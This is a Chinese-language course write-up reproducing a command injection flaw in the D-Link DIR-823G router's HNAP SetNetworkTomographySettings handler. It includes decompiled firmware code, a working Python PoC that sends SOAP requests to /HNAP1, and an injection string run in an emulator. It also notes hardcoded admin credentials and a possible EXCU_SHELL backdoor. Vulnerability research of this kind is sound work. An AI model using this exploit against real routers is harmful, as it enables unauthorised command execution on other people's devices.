NIS8015 的课程作业,截止我复现时还没有公开 PoC,很有意思的作业。
漏洞原理分析 #
CVE 描述 #
D-Link DIR_823G 1.0.2B05 was discovered to contain a command injection vulnerability via the Address parameter in the SetNetworkTomographySettings function. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.
二进制定位 #
❯ grep -ri "SetNetworkTomographySettings"
grep: bin/goahead: binary file matches
web_mtn/Diagnosis.html: var networkTomographySettings = new SOAPSetNetworkTomographySettings();
web_mtn/Diagnosis.html: soapAction.sendSOAPAction("SetNetworkTomographySettings",networkTomographySettings,null).done(function(obj){
web_mtn/Diagnosis.html: if(obj.SetNetworkTomographySettingsResult == "OK"){
web_mtn/js/SOAP/SOAPDiagnosis.js:function SOAPSetNetworkTomographySettings(){
可以看到这个函数在 /bin/goahead 二进制中,这是一个轻量级 HTTP 服务器。
Source 点 #
在该二进制中搜索 SetNetworkTomographySettings,可以看到如上的路由表,SetNetworkTomographySettings 对应 sub_441F70。
int __fastcall sub_441F70(int a1) // SetNetworkTomographySettings
{
...
if ( a1 )
{
v39 = 0;
v40 = 0;
String = mxmlLoadString(0, a1, 0);
if ( String && mxmlFindElement(String, String, "SetNetworkTomographySettings", 0, 0, 1) )
{
Element = mxmlFindElement(String, String, "Address", 0, 0, 1);
Text = mxmlGetText(Element, 0);
if ( Text )
{
if ( (unsigned int)strlen(Text) < 0x80 )
{
if ( apmib_set(7026, Text) ) // key-value pair
{
...
}
else
{
puts("error, apmib set MIB_PING_ADDRESS", v6, v7);
}
}
else
{
puts("address length is error!", v4, v5);
}
}
else
{
puts("error, ping address is NULL", v2, v3);
}
}
...
}
MIB 表中 ID = 7026 的配置项被设置为 Address 的参数值,从 DEBUG 信息也可以看到,这个配置项实则是 MIB_PING_ADDRESS。
Sink点 #
用户输入会被存储到 MIB 表中 ID =7026 的配置项(MIB_PING_ADDRESS),随后肯定会从 MIB 表中被取出,从而触发漏洞,因此直接在 IDA 中搜索 immediate value 7026:
sub_4424E0 函数如下:
void __fastcall sub_4424E0(int a1) // GetNetworkTomographyResult
{
...
if ( a1 )
{
...
if ( apmib_get(7026, v37) )
{
snprintf(v40, 6, "ping ");
v3 = strlen(v37);
strncat(v40, v37, v3);
if ( apmib_get(7027, &v41) )
{
strcat(v40, " -c ");
sprintf(v38, "%d -w %d", v41, v41);
v6 = strlen(v38);
strncat(v40, v38, v6);
if ( apmib_get(7028, &v42) )
{
strcat(v40, " -s ");
sprintf(v39, "%d", v42);
v9 = strlen(v39);
strncat(v40, v39, v9);
strcat(v40, " > /tmp/ping.txt 2>>/tmp/ping.txt");
puts(v40, v10, v11);
system((int)v40);
...
}
可以看到 MIB_PING_ADDRESS 被取出,随后未经过滤直接被拼接到 ping 命令中,导致了命令注入。
该函数和 SetNetworkTomographySettings 在同一个路由表中,符号名为 GetNetworkTomographyResult。
因此可以得出结论:要触发这个漏洞,首先要触发 SetNetworkTomographySettings ,构造恶意的命令注入字符串;随后触发 GetNetworkTomographyResult 执行恶意的 ping 命令。
PoC #
SetNetworkTomographySettings 所在路由表的开头如下:
LOAD:00588D80 off_588D80: .word aSetmultipleact # DATA XREF: sub_42383C+150↑o
LOAD:00588D80 # "SetMultipleActions"
LOAD:00588D84 .word sub_4339E8
LOAD:00588D88 .word aGetdevicesetti_4 # "GetDeviceSettings"
LOAD:00588D8C .word sub_432FA8
LOAD:00588D90 .word aGetoperationmo # "GetOperationMode"
可以看到 off_588D80 为表的起始位置,查看其交叉引用:
int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7) // websHNAPFuncHandler
{
int v8; // [sp+34h] [+34h]
int v9; // [sp+38h] [+38h]
int v10; // [sp+40h] [+40h]
char v11[104]; // [sp+4Ch] [+4Ch] BYREF
int v12; // [sp+B4h] [+B4h] BYREF
_BYTE v13[5000]; // [sp+B8h] [+B8h] BYREF
v10 = 0;
strcpy(
v11,
"HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
v9 = 0;
v12 = 0;
dword_58A6C0 = a1;
v8 = malloc(10240);
if ( v8 )
{
memset(v8, 0, 10240);
v9 = malloc(51200);
if ( v9 )
{
memset(v9, 0, 51200);
if ( *(_DWORD *)(a1 + 1316) )
{
apmib_get(7011, &v12);
for ( dword_58A6C4 = (int)&off_588D80; *(_DWORD *)dword_58A6C4; dword_58A6C4 += 8 ) // ref here
{
if ( strstr(*(_DWORD *)(a1 + 1316), *(_DWORD *)dword_58A6C4) )
{
memset(v13, 0, sizeof(v13));
snprintf(v13, 4999, "echo '%s' >/var/hnaplog", a7);
system(v13);
printf("wp->hnapfunc===========>%s\n", *(const char **)(a1 + 1316));
if ( !strncmp(*(_DWORD *)dword_58A6C4, "GetLocalMac", 11) )
{
memset(&qword_58A6A0, 0, 32);
strncpy(&qword_58A6A0, a1 + 48, 32);
}
if ( (*(int (__fastcall **)(const char *))(dword_58A6C4 + 4))(a7) )
break;
}
}
}
else
{
sub_432FA8(a7);
}
}
else
{
printf("websHNAPFuncHandler: not enough memory (1)\n!");
v10 = -1;
}
}
else
{
printf("websHNAPFuncHandler: not enough memory (0)\n!");
v10 = -1;
}
free(v8);
free(v9);
return v10;
}
可以看到该函数符号名为 websHNAPFuncHandler,即 HNAP 调度器,作用是根据 API 名字调用匹配的处理函数。
再查看 websHNAPFuncHandler 的上层调用:
int sub_423F90() // initWebs
{
int v1; // $v0
int v2; // [sp+28h] [+28h]
int v3; // [sp+2Ch] [+2Ch]
_DWORD v4[4]; // [sp+30h] [+30h] BYREF
_BYTE v5[128]; // [sp+40h] [+40h] BYREF
_BYTE v6[128]; // [sp+C0h] [+C0h] BYREF
memset(v4, 0, sizeof(v4));
sub_423E90("br0", v4);
sub_40F750();
sub_4158C0();
sub_416908("adm", 7, 3, 0, 0);
if ( "admin" && aAdmin[0] && "1234" && a1234[0] )
{
sub_415F5C("admin", "1234", "adm", 0, 0);
sub_4172CC("/", 3, 0, "adm");
}
else
{
error("goahead.c", 502, 2, "gohead.c: Warning: empty administrator account or password");
}
v3 = inet_addr(v4);
if ( v3 == -1 )
{
error("goahead.c", 531, 2, "initWebs: failed to convert %s to binary ip data", (const char *)v4);
return -1;
}
else
{
strcpy(v5, off_5890B0);
sub_40542C(v5);
v2 = inet_ntoa(v3);
if ( (unsigned int)(strlen(v2) + 1) >= 0x80 )
v1 = 128;
else
v1 = strlen(v2) + 1;
sub_40D104(v6, v2, v1);
sub_4205C0(v6);
sub_42051C(v6);
sub_4053C4("default.asp");
sub_411D4C(off_5890B4);
sub_41BC40(dword_5890B8, dword_5890BC);
sub_40B1F4(&dword_4A3C4C, 0, 0, sub_4110F4, 1);
sub_40B1F4("/HNAP1", 0, 0, sub_42383C, 0);
sub_40B1F4("/goform", 0, 0, sub_40A810, 0);
sub_40B1F4("/cgi-bin", 0, 0, sub_403D00, 0);
sub_40B1F4("/EXCU_SHELL", 0, 0, sub_4234CC, 0);
sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940, 2);
sub_4110B4();
sub_40B1F4("/", 0, 0, sub_424320, 0);
return 0;
}
}
在这个函数里完成了很多初始化工作(怎么还有 EXCU_SHELL,后门是吧),可以看到所有 HNAP SOAP API 都被注册到 sub_42383C。故 SetNetworkTomographySettings 和 GetNetworkTomographyResult 都要向 /HNAP1 API 发送请求,对应不同的 SOAPAction。
分析到这,漏洞点触发方式已经初具雏形:
POST /HNAP1
SOAPAction: "http://purenetworks.com/HNAP1/SetNetworkTomographySettings"
XML 中 Address 标签内含有命令注入 payload。
POST /HNAP1
SOAPAction: "http://purenetworks.com/HNAP1/GetNetworkTomographyResult"
PingResult 标签内含有命令执行的结果。
SOAP XML 的格式可以参考:https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf
最终形成如下PoC:
#!/usr/bin/env python3
import requests
import sys
import time
def hnap(ip, action, body):
try:
r = requests.post(f"http://{ip}/HNAP1/", data=body, headers={
'Content-Type': 'text/xml',
'SOAPAction': f'"http://purenetworks.com/HNAP1/{action}"'
}, timeout=10)
print(f"[+] {action}: {r.status_code}\n{r.text}\n")
return r
except Exception as e:
print(f"[-] {e}")
def exploit(ip, payload="8.8.8.8"):
# 设置参数
hnap(ip, "SetNetworkTomographySettings", f'''
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">
<Address>{payload}</Address>
<Number>4</Number>
<Size>64</Size>
</SetNetworkTomographySettings>
</soap:Body>
</soap:Envelope>
''')
time.sleep(1)
# 触发执行
hnap(ip, "GetNetworkTomographyResult", '''
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/"/>
</soap:Body>
</soap:Envelope>
''')
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <IP> [命令]\n示例: {sys.argv[0]} 192.168.1.1 '8.8.8.8; id'")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "8.8.8.8")
仿真利用 #
不允许有空格,且 sh 不支持很多高级语法,没找到绕过空格过滤并使用 telnetd 开放 shell 的办法。
strcat(v40, " > /tmp/ping.txt 2>>/tmp/ping.txt");
puts((int)v40, v10, v11);
system((int)v40);
v34 = fopen("/tmp/ping.txt", "r");
if ( v34 )
{
if ( !fread(v36, 1, 49152, v34) )
puts((int)"fread ping.txt is error ", v14, v15);
fclose(v34);
}
...
v29 = mxmlNewElement(v31, "PingResult");
if ( v29 )
{
mxmlNewText(v29, 0, v36);
命令执行的结果会被写入到 /tmp/ping.txt,并被写回响应 XML 的 PingResult 标签内。故想要达到“实现系统命令
ls 执⾏,并通过⻚⾯回显等⼿段完成利⽤效果的验证”,只要将 ls 的结果重定向到 /tmp/ping.txt 并将后面的命令截断即可:
python3 poc.py 192.168.0.1 "||ls>/tmp/ping.txt|"
FirmAE 开 debug 模式:
用 FirmAE Debugger 的 gdbserver attach 到 goahead进程,在0x4428bc处下断点,可以看到执行 PoC 后,形成了如下命令字符串:
在响应的 XML 中,可以看到 ls 执行的结果: